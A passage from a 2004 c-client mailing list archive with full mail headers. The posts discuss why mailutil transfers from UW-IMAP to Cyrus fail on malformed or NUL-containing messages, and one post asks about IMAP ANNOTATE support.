transfer ? [...] > So, no - you can't make mailutil ignore them, but you can remove them so > it doesn't have to. Yes, that's what I will do. Thanks. -- Nicolas From pinedev@shivax2.cac.washington.edu Wed Dec 8 19:09:49 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 19:09:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB939nxw027954 for ; Wed, 8 Dec 2004 19:09:49 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB939mnq027065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 19:09:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB939YUg005190; Wed, 8 Dec 2004 19:09:35 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB938AYY097340 for ; Wed, 8 Dec 2004 19:08:10 -0800 Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB93879c019122 for ; Wed, 8 Dec 2004 19:08:09 -0800 Received: from pcp09260953pcs.olathe01.ks.comcast.net ([69.240.246.163]) by comcast.net (sccrmhc13) with ESMTP id <2004120903080601600r672te>; Thu, 9 Dec 2004 03:08:06 +0000 Received: (from root@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) id iB9382lV029549 for c-client@u.washington.edu; Wed, 8 Dec 2004 21:08:02 -0600 Received: from pcp09260953pcs.olathe01.ks.comcast.net (localhost [127.0.0.1]) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) with ESMTP id iB9381rt029460 for ; Wed, 8 Dec 2004 21:08:01 -0600 Received: (from nobody@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8/Submit) id iB9381df029353 for c-client@u.washington.edu; Wed, 8 Dec 2004 21:08:01 -0600 Received: from tabby (tabby [192.168.168.2]) by www.doctorunix.com (IMP) with HTTP for ; Wed, 8 Dec 2004 21:08:01 -0600 Message-Id: <1102561681.41b7c19176ff5@www.doctorunix.com> Date: Wed, 8 Dec 2004 21:08:01 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tom@doctorunix.com To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Authentication-Warning: pcp09260953pcs.olathe01.ks.comcast.net: nobody set sender to tom@doctorunix.com using -f X-Originating-IP: 192.168.168.2 X-scanner: scanned by Inflex 1.0.12.7 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on pcp09260953pcs.olathe01.ks.comcast.net X-Spam-Status: No, hits=-0.7 required=5.0 tests=BAYES_00,NO_REAL_NAME autolearn=no version=2.63 X-Spam-Level: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a program you may download from sourceforge which will usually correct corrupt MBX files. The url is http://sourceforge.net/projects/mbxuncorrupter/ You may be able to fix the MBX file then mailutil won't gripe. Any unrecoverable mail fragments will be put into separate text files. Hope this helps. TomC Quoting Nicolas Kowalski : > Cliff Green writes: > > > Today at 7:17pm, Nicolas Kowalski wrote: > > > NK> When I use mailutil transfer to copy a whole mailbox hierarchy from a > > NK> uw-imap server to a cyrus one, it sometimes fails with the error > > NK> "message contains invalid header", and then stops. > > NK> > > NK> Is there a way to make mailutil ignore these badly formatted messages > > NK> and continue the transfer ? > > [...] > > > So, no - you can't make mailutil ignore them, but you can remove them so > > it doesn't have to. > > Yes, that's what I will do. > > Thanks. > > -- > Nicolas > ------------------------------------------------- Email solutions, MS Exchange alternatives and extrication, security services, systems integration. Contact: services@doctorunix.com From pinedev@shivax2.cac.washington.edu Thu Dec 9 03:10:25 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 03:10:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9BAPwu010046 for ; Thu, 9 Dec 2004 03:10:25 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9BAOf6010476 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 03:10:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9BADWv017018; Thu, 9 Dec 2004 03:10:13 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9B8bJc064348 for ; Thu, 9 Dec 2004 03:08:37 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9B8ZXS000860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 9 Dec 2004 03:08:36 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iB9B8V07023759 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Dec 2004 12:08:32 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2] helo=obiou.imag.fr.imag.fr) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1CcM9v-0008An-00 for ; Thu, 09 Dec 2004 12:08:31 +0100 Message-Id: Date: Thu, 09 Dec 2004 12:08:30 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: <1102561681.41b7c19176ff5@www.doctorunix.com> (tom@doctorunix.com's message of "Wed, 8 Dec 2004 21:08:01 -0600") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Thu, 09 Dec 2004 12:08:32 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN tom@doctorunix.com writes: > I have a program you may download from sourceforge which will usually correct > corrupt MBX files. > > The url is http://sourceforge.net/projects/mbxuncorrupter/ > > You may be able to fix the MBX file then mailutil won't gripe. Any > unrecoverable mail fragments will be put into separate text files. Thanks. However, I ran your utility on the specified mailbox, and it did not repair the badness. That's probably because the MBX headers are not corrupted, but because the unix format mailbox (used to create this mbx-format one) already had badness in it. Also, when running test transfers, I am experiencing more weird error messages from mailutil, such as "message contain NUL character". It seems that my users mailboxes contain a lot of crap. -- Nicolas From pinedev@shivax2.cac.washington.edu Thu Dec 9 04:53:29 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 04:53:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9CrSO7013442 for ; Thu, 9 Dec 2004 04:53:28 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9CrRTc013912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 04:53:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9CrL1k013550; Thu, 9 Dec 2004 04:53:21 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9Cphoj036294 for ; Thu, 9 Dec 2004 04:51:43 -0800 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9Cpgxl023378 for ; Thu, 9 Dec 2004 04:51:43 -0800 Received: from pcp09260953pcs.olathe01.ks.comcast.net ([69.240.246.163]) by comcast.net (rwcrmhc13) with ESMTP id <2004120912514101500e6ejpe>; Thu, 9 Dec 2004 12:51:42 +0000 Received: (from root@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) id iB9Cpdjh008040 for c-client@u.washington.edu; Thu, 9 Dec 2004 06:51:39 -0600 Received: from pcp09260953pcs.olathe01.ks.comcast.net (localhost [127.0.0.1]) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) with ESMTP id iB9Cpdrt007999 for ; Thu, 9 Dec 2004 06:51:39 -0600 Received: (from nobody@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8/Submit) id iB9CpdH1007998 for c-client@u.washington.edu; Thu, 9 Dec 2004 06:51:39 -0600 Received: from tabby (tabby [192.168.168.2]) by www.doctorunix.com (IMP) with HTTP for ; Thu, 9 Dec 2004 06:51:39 -0600 Message-Id: <1102596699.41b84a5b19120@www.doctorunix.com> Date: Thu, 9 Dec 2004 06:51:39 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tom@doctorunix.com To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Authentication-Warning: pcp09260953pcs.olathe01.ks.comcast.net: nobody set sender to tom@doctorunix.com using -f X-Originating-IP: 192.168.168.2 X-scanner: scanned by Inflex 1.0.12.7 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on pcp09260953pcs.olathe01.ks.comcast.net X-Spam-Status: No, hits=-0.7 required=5.0 tests=BAYES_00,NO_REAL_NAME autolearn=no version=2.63 X-Spam-Level: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Nicolas Kowalski : > Also, when running test transfers, I am experiencing more weird error > messages from mailutil, such as "message contain NUL character". It > seems that my users mailboxes contain a lot of crap. > > -- > Nicolas > So these mailboxes were first converted from something else? Interesting. Would you be willing to send one or two of the corrupt files to my email address? I have a morbid curiousity about corrupt files. Send them to tom@doctorunix.com, not to the list. thanks tc ------------------------------------------------- Email solutions, MS Exchange alternatives and extrication, security services, systems integration. Contact: services@doctorunix.com From pinedev@shivax2.cac.washington.edu Thu Dec 9 06:48:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 06:48:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9EmlGK016038 for ; Thu, 9 Dec 2004 06:48:47 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9Emk4f021833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 06:48:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9EmVLB011902; Thu, 9 Dec 2004 06:48:31 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9Ekv3X053758 for ; Thu, 9 Dec 2004 06:46:57 -0800 Received: from polaris.umdnj.edu (polaris.UMDNJ.EDU [130.219.34.131] (may be forged)) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9Eku60016606 for ; Thu, 9 Dec 2004 06:46:56 -0800 Received: from conversion-daemon.Polaris.umdnj.edu by Polaris.umdnj.edu (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) id <0I8G00F01M5MEF@Polaris.umdnj.edu> (original mail from green@umdnj.edu) for c-client@u.washington.edu; Thu, 09 Dec 2004 09:46:55 -0500 (EST) Received: from rwja.UMDNJ.EDU (rwja.umdnj.edu [130.219.4.100]) by Polaris.umdnj.edu (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I8G00JG7M8FTV@Polaris.umdnj.edu>; Thu, 09 Dec 2004 09:43:27 -0500 (EST) Message-Id: Date: Thu, 09 Dec 2004 09:43:27 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Cliff Green To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Dec 8 at 10:58pm, Nicolas Kowalski wrote: NK> Cliff Green writes: NK> NK> > Today at 7:17pm, Nicolas Kowalski wrote: NK> NK> > NK> When I use mailutil transfer to copy a whole mailbox hierarchy from a NK> > NK> uw-imap server to a cyrus one, it sometimes fails with the error NK> > NK> "message contains invalid header", and then stops. NK> > NK> NK> > NK> Is there a way to make mailutil ignore these badly formatted messages NK> > NK> and continue the transfer ? NK> NK> [...] NK> NK> > So, no - you can't make mailutil ignore them, but you can remove them so NK> > it doesn't have to. NK> NK> Yes, that's what I will do. Just a note - that's okay for an mbox-format folder, mbx folders are a different story; you'll probably need to copy those messages to an mbox folder, remove the extra header, then move them back to the mbx folder. c -- Clifford Green Internet - green@umdnj.edu Academic Computing Services UMDNJ-IST Never wrestle with a pig, for if you do, you will both get dirty, but the pig will enjoy it. -- Charlie Munger From pinedev@shivax2.cac.washington.edu Thu Dec 9 06:49:35 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 06:49:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9EnZfb016066 for ; Thu, 9 Dec 2004 06:49:35 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9EnXNS021869 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 06:49:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9EnRu7015826; Thu, 9 Dec 2004 06:49:27 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9Emfmi116580 for ; Thu, 9 Dec 2004 06:48:41 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9Emefh029566 for ; Thu, 9 Dec 2004 06:48:41 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 1DDC129AC38 for ; Thu, 9 Dec 2004 16:15:20 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05308-05 for ; Thu, 9 Dec 2004 16:15:09 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 26EEE29AC41 for ; Thu, 9 Dec 2004 16:14:51 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id 60C751224A2; Thu, 9 Dec 2004 15:54:36 +0100 (CET) Received: from multitel009016.multitel.be (multitel009016.multitel.be [172.16.9.16]) by mail.multitel.be (Horde) with HTTP for ; Thu, 9 Dec 2004 15:54:36 +0100 Message-Id: <20041209155436.8le28sko88sk8g0o@mail.multitel.be> Date: Thu, 9 Dec 2004 15:54:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: IMAP ANNOTATE MORE support MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I've been using your library for about a month. I'm pretty happy about it. But I need ANNOTATE support. I've found on the website the you were planning to do the support, but I cant found anything in hte documentation. Is it done?? And if not, can you help me to introduce this functionnality to your library Thanks Julien Hamaide -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 9 08:07:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 08:07:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9G74fG018416 for ; Thu, 9 Dec 2004 08:07:04 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9G73r7021028 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 08:07:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9G6vGK015374; Thu, 9 Dec 2004 08:06:57 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9G5UdF074724 for ; Thu, 9 Dec 2004 08:05:30 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9G5Ukp020823 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Dec 2004 08:05:30 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9G5Tqk023680; Thu, 9 Dec 2004 08:05:29 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9G5T2u030121; Thu, 9 Dec 2004 08:05:29 -0800 Message-Id: Date: Thu, 9 Dec 2004 08:05:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Cliff Green Cc: Nicolas Kowalski , c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Dec 2004, Cliff Green wrote: > Just a note - that's okay for an mbox-format folder, mbx folders are a > different story; you'll probably need to copy those messages to an mbox > folder, remove the extra header, then move them back to the mbx folder. What's OK for an mbox format mailbox is also OK for mbx; the problem is that it is not OK for Cyrus. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 9 08:28:12 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 08:28:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9GSC2K019316 for ; Thu, 9 Dec 2004 08:28:12 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9GSBX0026376 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 08:28:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9GS4E1020256; Thu, 9 Dec 2004 08:28:04 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9GQuUn123050 for ; Thu, 9 Dec 2004 08:26:56 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9GQsg1021785 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 9 Dec 2004 08:26:55 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iB9GQom2028975 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Dec 2004 17:26:50 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2] helo=obiou.imag.fr.imag.fr) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1CcR7y-00047h-00 for ; Thu, 09 Dec 2004 17:26:50 +0100 Message-Id: Date: Thu, 09 Dec 2004 17:26:50 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: (Mark Crispin's message of "Thu, 9 Dec 2004 08:05:29 -0800 (PST)") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Thu, 09 Dec 2004 17:26:50 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin writes: > On Thu, 9 Dec 2004, Cliff Green wrote: >> Just a note - that's okay for an mbox-format folder, mbx folders are a >> different story; you'll probably need to copy those messages to an mbox >> folder, remove the extra header, then move them back to the mbx folder. > > What's OK for an mbox format mailbox is also OK for mbx; the problem > is that it is not OK for Cyrus. I found on the web some tips about it, it requires patching imap/message.c in the cyrus source directory. It shows that Cyrus reject unconditionnaly: 1 - message body containing the '\0' character 2 - header name not terminated by a ':', such as '>From ' 3 - empty line in headers 4 - null-name header like ': ' Mark, which above conditions are accepted or rejected by UW-IMAP ? Thanks. -- Nicolas From pinedev@shivax2.cac.washington.edu Thu Dec 9 08:52:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 08:52:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9Gqoue020432 for ; Thu, 9 Dec 2004 08:52:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9Gqn80023158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Dec 2004 08:52:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB9GqbAt015374; Thu, 9 Dec 2004 08:52:37 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9GpdoV116566 for ; Thu, 9 Dec 2004 08:51:39 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9GpccP026257 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Dec 2004 08:51:38 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB9Gpb0e027002; Thu, 9 Dec 2004 08:51:37 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB9GpbxV000586; Thu, 9 Dec 2004 08:51:37 -0800 Message-Id: Date: Thu, 9 Dec 2004 08:51:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Dec 2004, Nicolas Kowalski wrote: > Mark, which above conditions are accepted or rejected by UW-IMAP ? UW imapd does not reject any of these; it will accept whatever garbage you throw at it. Whether it does anything useful with that garbage subsequently depends upon the nature of that garbage. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 9 09:08:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Dec 2004 09:08:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB9H8RiJ021069 for ; Thu, 9 Dec 2004 09:08:27 -0800 